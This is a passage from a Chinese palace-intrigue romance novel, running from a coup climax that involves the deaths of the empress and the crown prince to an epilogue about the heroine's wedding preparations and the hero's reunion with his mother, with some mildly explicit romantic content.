太子嗤笑,“母后去?世?后,孤被接进你的殿中生活,得你悉心照料,真?将你当?成了?救命稻草。可千不该万不该,孤不该在?半夜被噩梦惊醒时去?找你,听到你与刘嬷嬷的私话。刘嬷嬷忧心忡忡,认为孤存活于世?便是隐患,劝你制造意外?除掉孤。你先是坚定拒绝,日子一久,却也生出同样?想法。” 薛皇后揪住胸前衣裳,不住摇头,“太子,你定是被奸人蒙骗误会了?本宫,本宫发誓,绝没有毒害先皇后!” “事到如今,你竟还在?狡辩。”太子厉声道:“薛氏,你不仅毒害孤的母后,更设计让人绑架孤,欲除去?孤,好让三弟取而代?之。只可惜,你的计谋出现差错,被绑架的人从孤变成了?三弟与阿满,更害得阿满的父亲葬身深山。” “欲加之罪何患无辞!”薛皇后语气凄厉,尖甲深深嵌入掌心,“太子,你使?妖计控制了?圣上,如今还要血口?喷人,将先皇后之死嫁祸给本宫吗!” 太子叹道:“孤早知道你不见棺材不会掉泪。” 下一瞬,又有两名中年男子被丢进殿内。他们均衣衫褴褛,手脚戴铐,唯有面?庞干净清晰。 太子问:“闵氏,你还认得他们吗?” 薛皇后快速地扫了?一眼,生硬地道:“本宫不认得他们。” “那便由孤帮你重新认识下他们。”太子道:“左边的这名男子叫刘启,正是你当?年的心腹刘嬷嬷之子。在?你们决意要除去?孤时,刘嬷嬷命亲子传递消息给恭亲王的余孽,意图借他们之手除去?孤。” “而这另一位,便是当?年绑架案的主谋之一,侥幸逃生后,被孤藏匿多年。” 裴长旭的视线落在?那所谓的主谋脸上,这样?熟悉的一张脸,今晨他刚在?大乔送来的画像上见过。虽细节有所出入,但五官相差无几,当?年那双写满杀意的眼眸,而今只剩下畏缩慌张。 刘启在?说话:“皇后娘娘!当?年我娘为您赴汤蹈火,在?所不惜。但您却在?事情出现纰漏后,二话不说便处死了?我娘!幸亏太子殿下帮我假死脱身,我才能活到现在?!” 那主犯也道:“若非刘启主动找到我们,提供了?端王殿下的行踪,我等又怎会顺利地抓到皇子皇孙……” “你们该抓的人是太子!而非旭儿与阿满!”眼看当?年事瞒无可瞒,薛皇后失控喊道:“若非你们办事不力!修弟该好好活着!成为本宫最得力的助手!” 殿内霎时沉寂。 “在?你暗中派人调查恭亲王的余党时,孤便有所察觉。”太子缓缓地道:“是孤调换了?刘嬷嬷的信件。” 薛皇后瘫坐在?地,掩面?痛哭,多年来的懊悔与痛心在?此刻彻底崩溃,“他们该抓的人是你,而不是旭儿与阿满……修弟不该死……他还那么年轻,那么意气风发……” “多行不义必自?毙。”太子转向裴长旭,“三弟,如今你可还有疑问?” 裴长旭神色惝恍,“所以,祖父与舅舅也参与了?此事?” “不!”薛皇后哭道:“祖父与修弟毫不知情!他们在?听说你与阿满被绑架后,便立即率人前去?寻找,修弟更因此断送了?性命!是本宫对?不住修弟,更对?不住阿满,叫她早早便失去?了?父亲……” 所以母后待阿满亲如女,除去?疼爱还有愧疚。 裴长旭双眸猩红,质问敬爱多年的母亲,“母后,您为何要这样?做?” 薛皇后泪眼迷离,“本宫与圣上自?小?相识,若无意外?,本宫该嫁给圣上当?正妃。但闵氏横空出世?,抢走了?属于本宫的位置,本宫便只能退而成了?侧妃,等到圣上继承皇位,人人都夸皇后与圣上恩爱登对?,却无人在?意先来后到,明?明?是本宫先与圣上相知相许!” 裴长旭道:“您当?时是皇贵妃,地位亦尊贵无双,比皇后只差一步之遥!” 薛皇后道:“便是这一步之遥,阻挡了?本宫与圣上的夫妻情,阻挡了?你登上皇位的可能性!本宫不甘心,本宫偏要争一争,为薛家与你争到至高无上的荣耀!” “可我不想要啊母后,我从未想过要继承大统……” “你不懂这江山的美妙。”薛皇后抹去?眼泪,哑声道:“自?你出生后,圣上多次叹你天资聪颖,有君王之风,若非有闵皇后与太子在?前,你必是储君的不二人选。” 裴长旭猛地看向景帝,“父皇当?真?这么说?” “圣上迎娶闵皇后本是为权势所迫,等登上皇位后,却处处受闵氏一族牵制,诸多抱负难以施展……若换成我薛家,只会全?力支持圣上,绝不会叫他闷海愁山。” 裴长旭内心震荡,看看景帝,再看看一脸讥笑的太子。 太子问:“三弟,相信你已经清楚罪魁祸首是谁。” “孤的生身父亲,利用孤的母族势力登上皇位,却在?事后忌惮孤的母族。借用你母后的手,除去?了?孤的母后,贬走孤的舅舅,更试图叫其他儿子对?孤取而代?之……”他搭上景帝的肩膀,亲昵却凄凉,“父皇,您眼中只有江山与权势,可曾想过我也是您的骨肉,是母后满怀爱意为您诞下的孩子?” 景帝眼神清明?,却全?程游离在?这场对?话之外?,“太子雍和粹纯,性行温良,堪为君主。朕欲禅位于太子,往后幽居世?外?,寻仙问道……” “在?父皇眼中,便连九弟也比孤要优秀。”太子语含嘲谑,“只可惜张氏一族与九弟都是狂妄自?大的蠢货,至今也没发现被人牵着走。” 裴长旭哪还有不明?白,“是你设计了?张家,演了?一出扮猪吃虎的好戏。” “孤接到迟卫进京的消息时,迟卫已与史明?搭上线,既然如此,孤倒不妨将计就计。”太子道:“张贵妃与太后向来视孤为眼中钉,认为孤抢了?九弟的太子之位。孤正好顺他们的意,利用迟卫对?广阑王的背叛,以身入局,为张家上演最后的狂欢。” “从始至终,一切都在?你的掌控之中。”裴长旭咬牙,“枉我一直在?父皇面?前为你说好话……却原来,你早与广阑王暗中勾结!” “准确地说,是父皇逼孤与广阑王通力合作。”太子道:“广阑王若倒台,孤的下场可见一斑。但孤不能倒,孤要登上这至高无上的宝座,向父皇与薛氏讨伐罪行,为母后报仇!” “太子!”薛皇后凄声喊:“错的人是本宫,与旭儿他们无关!你要报复便报复本宫一个,不要牵涉无辜!” 裴长旭只觉哀入骨髓。 真?相竟如此不堪吗?是父皇与母后算计闵氏一族在?先,逼得太子破釜沉舟。而他们这些人,被迫成为这场悲剧中的重要角色,从欢喜到愤怒,从愤怒到悲哀,从悲哀到不知所措…… 要怎么做,才能平息这场横跨多年的生死恩怨? 裴长旭朝太子下跪,“我替父皇母后,向兄长真?诚道歉,愿用余生弥补他们的罪行……” 耳旁却传来身躯倒地的声响,侧首望去?,薛皇后已手持匕首,割颈自?刎—— 鲜血喷涌而出,薛皇后躺倒在?地,气若游丝地道:“本宫……以命偿命……放过旭儿……” 太子面?无表情,见裴长旭冲到薛皇后身边,将她抱在?怀里,“母后,您何至于此!来人啊!快来人救救她!救救我的母后!” 薛皇后抬起沾满鲜血的手,轻抚他的面?庞,“是……全?是本宫咎由自?取……求太子放过……放过薛家……” 裴长旭紧紧握住她的手,声泪俱下,“母后,您不能死,您还有我和小?宁,还有阿满……” 薛皇后只重复:“是……是本宫的错……” 最后一丝力气消散,她气息全?无,颓然合上双目。 裴长旭泣声哀求:“母后,求您睁开眼睛看看我,我是旭儿啊!” 他呼喊良久,再得不到任何回应。随后,他愤怒地望向龙案,“父皇!您的妻子死了?!您便没有一点感觉吗!您究竟何时才能清醒!” 景帝皱起眉头,眸中思绪纷杂,不等想明?白,肩膀又被人重重一拍。 太子道:“父皇,该请平章政事宣读圣旨了?。” 景帝无视殿内的血腥混乱,高喊:“叫平章政事进殿宣读圣旨!” 平章政事蒋伟添乃太子的岳父,更是此次宫变的主谋之一。他大步进入广明?殿,路过裴长旭时,笑容难掩得意。 今日一过,薛家将彻底垮台,蒋家会取而代?之,成为名震大周的乔木世?家! 这份得意仅维持片刻,便在?他看清圣旨上的内容时戛然而止,“殿下,这圣旨有问题!” 太子问:“哪里有问题?” 蒋伟添咬牙切齿道:“他上面?写着传位于——传位于——” 太子夺过圣旨,定睛一看,赫然见白纸黑字写着:传位于三子裴、长、旭! 太子肝胆欲裂,拔出侍卫腰间的长剑,直指景帝的咽喉,“父皇,事到如今,您心心念念的仍只有三弟!看来只有孤亲手杀了?三弟,才能断绝您的妄念!” 蒋伟添抚着长须,“殿下,为君王者切忌心慈手软,唯有断绝一切隐患,方?能执掌天下!” “岳父所言极是。”太子阴恻恻地道:“卧榻之侧,岂容他人鼾睡?” 他不再看景帝,提剑走到裴长旭的面?前,“三弟,孤一直都很羡慕你,因你拥有孤梦寐以求的许多东西。父皇的认可、母后的疼爱、小?宁的崇拜、阿满的全?心全?意……你拥有的太多,多到令孤嫉妒。” 裴长旭浑身沾满薛皇后的血,愣怔望着太子,“我从未想过,会与兄长走到这般境地。” “孤却想过千次万次。”太子道:“等你死后,孤会送小?宁前往封地,从此远离京城。至于阿满……孤听说她与恒安侯世?子两情相悦,大可顺水推舟,替他们指门亲事,顺势将恒安侯府收入囊中。” “我们是亲兄弟。”裴长旭喃语:“亲生的兄弟……” “父不父,子不子,这世?道沦丧,唯有权势是真?。”太子冷漠地道:“三弟,怪就怪你我投生皇家。” 说罢,太子毫不犹豫地朝他胸口?刺出一剑,却被裴长旭空手接住。 他紧紧地握住长剑,不顾掌间鲜血淋漓,对?太子一字一顿地道:“我母后已以命偿命,我薛家不再欠你了?。” 太子皱眉,使?劲拔出长剑,正待命人擒住裴长旭时,殿门被人大力踹开—— 老恒安侯身着盔甲,手提长剑,剑尖沾满鲜血。他身后跟着一群士兵,个个兵盔带血,杀意涌动。 “圣上,端王殿下!”老恒安侯声如洪钟,“请恕本侯救驾来迟!” 蒋伟添倒吸一口?凉气,他分明?调查过往事,确认老恒安侯与薛家两代?都不对?付,不会参与此次争斗,才谋划了?今日的逼宫! 太子也有一瞬的难以置信,随即步步后退,自?嘲笑道:“孤终是小?看了?你……” 老恒安侯率人进入大殿,顷刻便包围了?所有人。霎时间局面?翻转,太子、平章政事等人成为待宰的羔羊。 又有一抹年轻的身影踱步走出,修挺风流,声音清朗,“锦衣卫使?与禁卫八军勾结太子,引兵围堵皇城,不仅迫害皇后,更意图谋害端王,谋权篡位……” 周遭喧嚷,是恒安侯身后的士兵们在?齐声呐喊:“诛杀叛党!捉拿太子!安邦定国!” 叛党? 是了?,胜者为王,败者为寇。谁输了?,谁便是得而诛之的叛党。 太子回首看向景帝,凄怆道:“父皇,若有来世?,儿臣绝不做您的孩子。” 话音落下,他便举剑自?刎,与薛皇后般果断地结束了?自?己?的生命。 鲜血在?地砖上铺开大朵大朵的花,景帝伸出双手,茫然若失;裴长旭踉跄着走到他面?前,拉着他的手腕,逼他迎向地上失去?生命的两人。 裴长旭一遍又一遍地道:“父皇,您看清楚了?,这是您的妻子和孩子,他们是您的妻子和孩子啊……” * 恒安侯与薛科诚里应外?合,将太子党彻底肃清了?一遍。许清桉则协助裴长旭处理相关事务,熬到翌日清晨,才有时间坐下来对?话。 许清桉问:“殿下打算如何处置叛党?” 裴长旭坐在?案后,神色沉静,再无昨日悲戚,“除去?太子的子嗣,其余人全?部处死。” 许清桉又道:“听说殿下已处死了?昨日在?广明?殿中的所有人?” 裴长旭简短地道:“是。” 许清桉不置可否,“经昨日一事,圣上大受刺激,言行混乱,叫嚷着要请妖道救命。” 裴长旭问:“那妖道现在?何处?” 许清桉道:“昨日下官在?宫中搜捕时,见那妖道慌不择路地跳进湖中,然而派人打捞到今晨,却找不到那妖道的行踪。” 裴长旭道:“他凭空消失了??” 许清桉道:“兴许是凭空消失,又兴许是湖下有暗道通往其他地方?……总之,找不到他,圣上的病情便无法好转。” “父皇老了?。”裴长旭敛眸,淡声道:“且已立下诏书,即日便禅位于本王。” “那下官提前恭贺殿下继天立极,高掌远跖,开辟大周新盛。”许清桉顿道:“殿下可还记得在?驿站中与下官的约定?” 裴长旭绷紧下颚,不言不语。是,他答应事成后会放弃婚约,成全?阿满与许清桉,然而事到临头,却又心生悔意。一日之内,他接连失去?至亲,连阿满也要拱手让人吗? 见状,许清桉道:“昨日,臣也收到了?来自?云县的一副画像。” “……”裴长旭猛地抬眸。 “巧得很,画像上的人貌,与昨日广明?殿中的一名男子如出一辙。” “……”裴长旭喉结一滚。 “听阿满说,那名男子曾绑架殿下与她,又侥幸偷生至今。只是不知,他怎会在?太子手中,又怎会被带进广明?殿里?” “……” “广阑王在?林中时曾对?阿满说,当?年被绑的本该另有其人,而非殿下与阿满。他还声称人心不足蛇吞象,阿满父亲的逝去?,皆由薛氏一族的贪婪而起。” 某些被极力掩埋的真?相,在?他的拼凑中呼之欲出。 裴长旭豁然起身,左手上的绷带隐沁血迹,“许清桉,你住口?!” “下官说完该说的话,自?然会住口?。”许清桉回视他阴戾的目光,“在?阿满眼中,薛皇后温柔慈悲,是母亲一般的存在?。” 裴长旭撑着案几才能站稳,又听他道:“薛皇后已经毁了?阿满前半生的幸福,殿下呢,要继续毁掉阿满将来的幸福吗?” 裴长旭闭上眼,挣扎许久后道:“阿满……阿满不能知道实情……” “下官与殿下一样?,都希望阿满无忧无虑。”许清桉道:“请殿下遵守约定,成全?下官与阿满的婚事。” 旭日升起时,许清桉离开御书房,穿过太清门,走出高大的皇城。 他袖中藏着沉甸甸的一道圣旨,圣旨承载着他与阿满光明?的未来,如这天际遍布的霞彩,令人神醉心往的未来。 视线内出现一辆马车,马车里跳下一人,提着裙摆朝他飞奔。 许清桉露出笑容,同样?迈步向她,结实地将她抱个满怀。 薛满仰起脸,眸若盈盈秋水,“许清桉,你们赢了?,对?吗?” 许清桉道:“不,是我们赢了?。” 薛满欲追问细节,许清桉没给她机会,在?湛蓝无垠的天空下,吻住他心爱的未婚妻—— 从今往后,他们都不会再孤单。 【终章】 第95章 第 95 章 春去秋来, 眨眼?便是?一年。 这?一年里,大周发生?了几件震惊朝野的大事。 其一:兰塬之主广阑王里通外国,走私贩私, 罪证确凿。 其二:广阑王的亲外甥,也就是?前太子裴长泽与其勾连, 不仅多次通风报信,更?在事情败露后杀人?灭口。 其三:裴长泽未免夜长梦多, 在岳丈蒋伟添的怂恿下?, 命妖道迷惑控制了景帝,试图谋权篡位。幸有端王裴长旭力挽狂澜,联合恒安侯府等多方势力将太子党悉数镇压。遗憾的是?,端王的生?母薛皇后在宫变中意外仙逝, 景帝为此?大受打击, 将皇位禅于三子端王。 这?几件是?国家大事,再往后还有关于新帝的两则趣闻。 众所周知, 当年的端王与亲表妹薛家小姐定有婚约,哪知在成亲前夕,薛小姐身染重病, 婚约无奈推迟。 薛小姐重病时, 是?个人?都看得?出?端王待她情深义重。本以为端王成功继位,薛小姐也病愈如初,新后的人?选板上钉钉时, 新帝竟然下?了两道圣旨。 第一道圣旨:新帝与薛小姐的婚约就此?作罢。 第二道圣旨:新帝赐婚薛小姐与恒安侯世子许清桉。 哦豁,这?甚至比皇帝换人?当都叫百姓津津乐道! 有好?事者猜测:“据说新帝能顺利继位, 其中少不了恒安侯府的功劳, 莫非是?他们暗中做了交易?”比如用功勋换婚约之类的。 便有人?反驳:“无稽之谈,从龙之功与薛家女, 傻子也知道该选哪个。” “要我说,当年新帝与薛家女的婚事便非出?自本心,约莫是?看在薛皇太后的面子上才无奈应承。如今薛皇太后仙逝,再无人?能约束新帝,是?以,继位后的第一道圣旨便是?解除婚约。又因是?亲表兄妹的关系,不好?随便嫁给旁人?,便指给了又立大功的恒安侯府。” 这?番说法合情合理,立即博得?旁人?赞同。 “这?么说来,薛小姐亦是?可怜人?,到手的皇后之位飞了,婚事还被?推来推去。” “倒也未必,我听说那恒安侯世子貌似潘安,风度绝佳,深得?新帝看重,往后前途无量。” “当真有那么优秀?” “再过半月便是?恒安侯世子与薛小姐的大婚,届时他会打马上街,绕城半圈,我们不妨去亲眼?瞧瞧他的风采。 ” “我还有一个疑问。” “什么疑问?” “成亲那日,圣上会出?席吗?” “你想什么呢?寻常人?家,尚且不会出?席前未婚妻的婚礼,何况是?当今新帝……” 不提百姓们的各种?揣测,当事人?薛满正由合宜公主裴唯宁作陪,在有璟阁中挑选饰品。 “这?个,那个,还有那个……”裴唯宁坐在案前,略扫一眼?道:“除去这?三样不要,其他全部包起来送去薛府。” 谭管事笑道:“好?,天黑前保证送到。” 裴唯宁又吩咐侍女去付银子,谭管事忙摆手,“不用不用,既是?给薛小姐的东西,一分钱都不用付。” “我知晓她是?你未来的主家夫人?,但你主子是?你主子,我是?我。”裴唯宁道:“我要送阿满礼物,可不能承你主子的人?情。” 谭管事便看向薛家小姐,见?后者点头后才道:“那便有劳姑娘随我到外边付账。” 侍女跟着谭管事离开后,裴唯宁看向对面的薛满。她正小口地喝茶,长睫浓密,肤白细腻,出?落得?愈加娇美。 裴唯宁忍不住伸手,在她脸颊上轻抚一把,“还有半月便要成亲了,你心中有何感想?” 薛满眼?神闪烁,心想正式成亲后,许清桉可算有了名分,不用早出?晚归,偷偷摸摸地进?出?薛府了……嘴上却?道:“没什么特殊感想,成亲后我也是?两只眼?睛一张嘴,不会变成怪物。” 裴唯宁酸溜溜地道:“往后你便不是?薛小姐,而是?许清桉的妻子,许少夫人?了。” 薛满道:“一个称呼而已?。” “却?也代表了许多。”裴唯宁道:“往后我去找你,还得?先经?过恒安侯府的通传,想想就觉得?别扭。” “放心,许清桉答应我了,成完亲会陪我回薛府常住。” “老恒安侯肯答应?” “不答应又如何?” “也是?,许清桉的翅膀越来越硬,莫说老恒安侯,便连三哥也常拿他没辙。”裴唯宁揶揄:“只不过外强中干,一遇到你,便百依百顺,是?个彻头彻尾的妻管严。” 呵,那是你没见到他胡搅蛮缠的时候。 薛满腹诽:每到夜里,某人?便像换了芯子,无论她怎么求饶,他都要换着法子折腾她。本以为一开始是?新鲜,日子久了便能疏朗些,哪晓得?一年过去,许清桉乐此?不疲,甚至还有变本加厉的趋势。 等到婚后,两人名正言顺地共处一室,她还有清静日子过吗? 薛满摁上酸疼的后腰,唉声叹气:这?时候悔婚,也不知有没有人?能理解她。 门外明荟道:“小姐,世子的马车到楼下?了。” 薛满慢吞吞地抬眸,“哦,知道了。” 裴唯宁道:“我也该回公主府了,走吧,一起下?楼。” 姐妹俩一起下?楼,正好?遇见?进?门的许清桉。他长身玉立,风采高雅,朝裴唯宁轻微颔首,“公主。” 裴唯宁也客气地道:“许侍郎。” 是?的,没错,许清桉如今不再是大理寺少卿,而是?户部左侍郎兼任军机大臣,实打实的朝堂香饽饽。 简略地打过招呼后,许清桉朝薛满道:“阿满,走吧。” 当着众人?面,他并?不避讳地牵住未婚妻,并?肩往马车走去。 风吹来他的低语,“今日风景好?,我特意休了半天假,带你去银月湖钓鱼。” 薛满抗议:“每回都钓不到鱼,我不想再去了。” 许清桉道:“正是?钓不到才更?要钓,走吧,我继续手把手教你。” 裴唯宁目送他们离去,不由啧啧称羡。这?一年来,她是?亲眼?见?证了这?对小情侣的感情,简直比话本里描写的还要甜蜜。只可怜她的三哥,一个人?高坐龙椅,孤单冷清得?很哟…… 有人?在后头喊:“公主。” 裴唯宁回神,见?到不远处的伟岸青年。面容虽俊朗,左眼?角却?爬着一道半指长的疤痕,稍稍显得?可怖。 裴唯宁露出?喜色,“林何举,你怎么来了?” “闲着无事,属下?便来接公主回府。” “京畿营不忙吗?” “还好?,除去操练也无其他事。” “那你陪我一起走走?” “都听公主的。” 两人?沿着大街闲逛,裴唯宁时不时看向他的侧脸,神色难掩愧疚。当初因为她的冲动,害得?林何举被?关进?慎刑司,吃了不少苦头。虽然事后她尽力弥补,更?求三哥将林何举调入京畿营做事,但林何举的脸却?永远破相,在婚事上处处受挫。 “林何举,你怪我吗?”她问。 林何举认真道:“公主是?属下?的主子,属下?永远都不会怪公主。” 裴唯宁道:“你如今是?京畿营的校尉,不再是?我的护卫,无须对我毕恭毕敬。” 林何举道:“不管属下?去哪,公主都是?属下?的主子,一辈子不会变。” 哎呀,这?家伙永远都是?这?么捧场。 裴唯宁心里涌上一股甜意,状似无意地道:“我听说,你最近的婚事不大顺利?” 林何举有些不好?意思,“是?,让公主见?笑了。” 裴唯宁道:“这?有什么好?笑的?我与你一样,婚事总不顺利,都十八了还未定亲。皇兄甚至恼了,说我要是?继续挑剔,便将我丢到北疆和亲!” 林何举皱起浓眉,又听她自言自语:“皇兄说得?不对,哪能是?我挑剔呢?分明是?那些驸马的人?选稀奇古怪,没一个能进?我的眼?。与其选他们,我倒不如选你,至少知根知底。” 林何举彻底傻了,站在原地无法动弹。 裴唯宁歪头看着他,“林何举,我觉得?这?法子很好?,你意下?如何?” 林何举半晌说不出?话,唯有红透的耳根展露出?真实心意。 * 银月湖上正游着一艘精致的双层画舫,一楼甲板上架着几根鱼竿,奴仆们正在专心钓鱼,而本该钓鱼的未婚夫妻,正在二楼的舱室内纠缠不休。 柔软的外衣被?胡乱丢在地上,红柳木长榻正吱呀吱呀地叫唤。 他拥她坐着。 他衣襟大敞,露出?精壮的胸膛,低头吻住怀中衣衫不整的薛满。薛满眸中雾气弥漫,攀住他的肩膀不住喘气,此?起彼伏的欢愉袭来,如浪潮般逼迫、追赶、吞噬着她。 “停、停、停一下?……”她指尖紧掐,哀求似的开口。 许清桉置若罔闻,在她的肩颈处流连亲吻,时重时轻地动着,“还喜欢钓鱼吗?” “不钓了,再也不钓了。”她带着哭腔,脸红得?不成样子,“我早说不钓了,是?你非要……你非要来的……” “不来,怎么能替掉从前的记忆?” 他轻轻掐腰,便将她放到被?褥间,从背后覆上去,以更?亲密的姿势抱她,“你说,是?谁钓鱼的本事更?厉害?” 薛满试图反抗,奈何力道微弱,只换来略带恶意的作弄。 他一根根缠上她的手指,邪佞又肆意,“阿满,反抗是?要付出?代价的。” 代价是?薛满体力不支,没到终点便昏过去了。 醒来时,她穿戴整齐,他也人?模人?样,正侧搂着她,顺便把玩她的手指。 唯有满室旖旎昭示着方才的荒唐。 薛满狠狠挥开他的手,怒不可遏,“许清桉,你太过分了!” 许清桉一脸无辜,“我们马上要成亲了。” “不说马上成亲,便是?成亲后也不能这?样!”薛满坐起身,握拳捶向他的胸膛,“你年纪轻轻,该将精力放到朝堂正事上,怎能……怎能……日日耽于房中!” “我也不想。”许清桉叹息,“但我一见?到你就忍不住。” “这?是?你的问题。”薛满强调,“你必须改掉!” “嗯哼。” “嗯哼是?什么意思?” 许清桉捉住她的手,递到唇边亲吻,生?硬地转移话题,“前几日,宁州传来消息,称一切都安排妥当。” “茹楠和茹嘉已?经?到了?”薛满果然中招,“她们还好?吗,路上有没有生?病?” “一切都好?,仆从照顾得?很仔细。” “茹楠有没有问起她的爹娘?” “没问。”许清桉道:“她虽然小,却?非少不更?事。一年前的动静那么大,她心里多少有数。” 薛满语气黯然,“最终,一切都没躲过去。” 姑父疯了,姑母过世,太子党全数被?歼灭,唯有茹楠、茹嘉得?以幸存。裴长旭本打算将她们送到宁古塔永生?囚禁,是?在薛满的再三哀求下?,才改变主意,将她们送去宁州生?活。 宁州虽远离京城,总比苦寒的宁古塔要好?上千百倍。 却?也不能责怪裴长旭,毕竟她们是?前太子的血脉,前太子谋逆失败,能留她们性命已?是?新帝的慈悲。 “好?了,无须为她们担心,我会暗中派人?保护她们。”许清桉道:“你的朋友们几时到京城?” 薛满道:“何湘与宝姝都是?明日的船到荣帆码头,我准备亲自去接她们。” 许清桉道:“我休个假,明日陪你一起去。” 薛满道:“你今日休假,明日也休假,三哥不骂你吗?” 许清桉道:“我日夜辛劳,帮他处理国事,偶尔休个假又如何?” 这?一年来,许清桉从情敌晋升为裴长旭的左膀右臂,两人?关系和睦,再不见?张牙舞爪。 这?是?薛满乐意见?到的局面,毕竟一个是?夫婿,一个是?兄长,手心手背都是?肉。 “不怪你就好?。”薛满道:“那明早我等你来接。” “来来去去多麻烦,我今晚直接留宿薛府。” “……”薛满摇头拒绝:“不可以!” “为何不可以?” “不可以就是?不可以!” “你最好?说出?个所以然,否则……”许清桉捏住她的耳垂来回摩挲,“天黑前别想离开画舫。” * 最后到底是?留宿在了薛府。 一早上,明荟等人?便隔门听见?小姐的嗔怒声,似乎是?未来姑爷又缠着她要做甚。 明荟等人?暗暗发笑,对此?习以为常。这?位新姑爷对外人?矜冷,对小姐却?缠得?紧,有空便得?黏在小姐身边。小姐嘴里恼,样子却?一日比一日的美,可见?是?打心底的喜爱世子。 折腾许久,许清桉替薛满点好?口脂,轻轻往上一啄,“夫人?真是?美极。” 薛满扭脸,“叫早了,我还不是?你夫人?呢。” 许清桉道:“时辰还早,我想去床上再休息会儿。” 说着便要横抱起薛满。 薛满忙道:“叫叫叫,你随便叫,想叫什么便叫什么!” 许清桉从背后搂着她,她从镜子里看他,问:“伯母有消息了吗?” 伯母自然是?指许清桉的娘亲,薛满知道,他私下?一直在寻找她的踪迹。 许清桉道:“暂未。” 薛满道:“要不,我们再将婚礼延迟些?” 许清桉道:“我已?将要成亲的消息传遍大周,娘亲若是?有心,定会赶来参加婚礼。至于推迟婚礼,你想都不用想。” 薛满讪讪道:“我随口一提罢了。” “提都不许提。”宫里那位抵死不肯选秀,谁提便降谁的职,心思昭然若揭,他是?疯了才会给可乘之机。 两人?收拾妥当后出?门,赶到荣帆码头。 薛满头戴幕篱,站在码头前,想起两年前的某一天,她便是?从这?出?发,开启人?生?的新篇章。 她颇为感慨,“一晃便是?两年。” “将来还有许许多多的两年。”许清桉道:“我会陪着你。” 薛满掀开薄纱,朝他甜甜一笑,“那便有劳许侍郎了。” 一艘轮船靠岸,旅人?们陆续下?船。薛满踮脚张望,忽然定在某处,挥手高喊:“何湘!孟超!” 来人?正是?许久未见?的何湘与孟超。 他们在去年夏天成亲,如今已?是?孟家夫妇,孟超刚升为衙门捕头,何湘也没有放弃医馆,继续救死扶伤。 自分别来,何湘与薛满没断过联系,得?知她要与许清桉成婚后,两夫妻更?是?亲自赶来京城祝贺。 双方互相打量,何湘见?薛满娇艳欲滴,薛满见?何湘容光焕发,无须细问,也知对方生?活顺遂。 两人?挽着手到一旁说话,许清桉便与孟超寒暄几句。太医院在半年前研制出?能阻抑蒂棠茚毒性的药方,又经?过不懈努力,救治了许多深受其害的病患。据孟超说,韩志杰也成功戒掉蒂棠茚,可惜天生?体虚,仍旧弱不胜衣。 到了下?午,薛满又接到千里迢迢赶来的宝姝与安元驹。刚碰面,便被?宝姝吓了一跳。 宝姝竟然挺着个孕肚! 薛满问:“宝姝,你何时与安元驹成的亲,怎么没跟我提起?” 宝姝依旧快言快语,“谁说成了亲才能要孩子?” 薛满道:“你们没成亲?你哥哥他也许?” 宝姝俏皮地皱鼻,“肚子长在我身上,我想生?就生?,不想生?就不生?。” 薛满再次感叹宝姝的鲜活恣意,转头看安元驹,他护着怀孕的宝姝忙前忙后,一副甘之如饴的模样。 她小声感慨:“看来不成婚也挺好?。” 许清桉耳尖,淡横她一眼?,决意今晚给她点颜色瞧瞧。 众人?热热闹闹地往外走,许清桉往人?群里随意看了一眼?,不知看见?什么,脚步猛然顿住。 “阿满。”他声音发紧,“我有些事,暂时走开一会儿,你先去马车里等我。” 薛满不疑有他,领着宝姝、安元驹去马车里等候,然而过去很久,也没等到许清桉回来。 她干脆下?车寻找,转了一大圈,没找到许清桉,倒见?到一位出?乎意料的故人?。 “佟姨!” 佟蓉与两年前的变化不大,依旧素色长裙,温和可亲。她望向呼喊自己的华服女子,年纪轻轻,贵气美丽。 “你是??” “我是?巧燕,杨巧燕!” 佟蓉稍加思索,便记起杨巧燕其人?,然而记忆中的巧燕可不长这?样。 薛满生?怕她不信,将当初在船上的相处详细道来,不好?意思地道:“我怕遇到坏人?,便故意扮丑出?门。” 佟蓉笑道:“我知晓你有伪装,只是?没想到,真容竟然这?样惊艳。” 她言语真诚,关切起薛满分别后的生?活,得?知薛满即将成婚时,从包袱内取出?一枚银镯,“事先不知晓你的喜事,没有准备好?礼物,若是?不介意,你便收下?它?吧。” 韩夫人?也送过薛满镯子,薛满出?于种?种?原因不肯收。面对佟蓉的好?意时,她却?没有推拒,将银镯戴上手腕,笑吟吟地道:“谢谢佟姨,您待我真好?。” 佟蓉真心喜欢面前落落大方的女孩儿,况且两人?又如此?有缘,“等改日你的孩子出?生?,我再给你绣些娃娃衣裳可好??” “还早着呢,不急。”薛满赧然,“对了,您的头疾好?些了吗?” 佟蓉道:“我运气好?,在甘埠找到了神医吴凡,经?过一年多的治疗,头疾大有好?转。” “那您此?次来京城是??” “我儿在京城。”佟蓉欣慰又伤感,“我已?经?十几年未见?他,前些日子听闻,他即将成亲娶妻,便想着来偷偷见?他一面。” 偷偷? 薛满早揣测那儿子是?不忠不孝之辈,闻言哼道:“儿子成亲,连亲娘都没邀请,真是?搞笑。” 佟蓉欲解释,薛满不肯听,义正词严地道:“佟姨,您跟我说,您儿子姓甚名谁,家住何方?我定要为您讨个公道,叫他堂堂正正地迎您坐到主位。” 佟蓉笑着婉拒,薛满便道:“那等我成亲时,给您安排个好?位置,您可一定得?来参加。” 佟蓉慨然允诺,“不知你嫁的是?哪户人?家?” 薛满道:“我嫁的是?恒安侯府。” 佟蓉愣住。 薛满道:“我未婚夫姓许,是?恒安侯府的世子。” 佟蓉睁大眼?睛。 薛满往她身后一指,笑颜灿烂,“喏,他正好?来了。” 佟蓉缓慢地转身,对上一张貌似潘安的俊颜。 对方红透眼?眶,千言万语,汇成一个短短的字,“娘——” …… 恒安侯府双喜临门,不仅世子要娶妻,世子的亲娘也首次露面,封诰命,入祠堂,正式载进?族谱。 纵有流言蜚语,也没法影响许清桉的意气风发。 原来他的阿满早就见?过娘亲,甚至与娘亲一见?如故。兜兜转转几百个日夜,他抱得?佳人?归,也成功迎娘亲进?侯府。 他成亲时,娘亲会坐在上首,接受他与阿满的敬茶。 他做到了生?父没做到的事情。 薛满亦是?惊喜交加,翻出?前世子的遗物,转交给它?真正的主人?。 佟蓉接过匣子,双手轻微颤抖,在读过书信后,更?是?潸然泪下?。 “他,死时都不知晓我们有个孩子……” 薛满挽着她的手臂,“不,伯父在天有灵,定能看到许清桉的优秀,感念您为他做的一切。” 婆媳俩本就一见?如故,而今更?是?亲近有加,这?画面落到老恒安侯的眼?里,不知有多郁结。 但他毫无办法。 臭小子前夜找到他,称若不将渔女记进?许家族谱,他不介意由迎娶阿满,改为入赘薛家。 入赘?薛家?开什么玩笑! 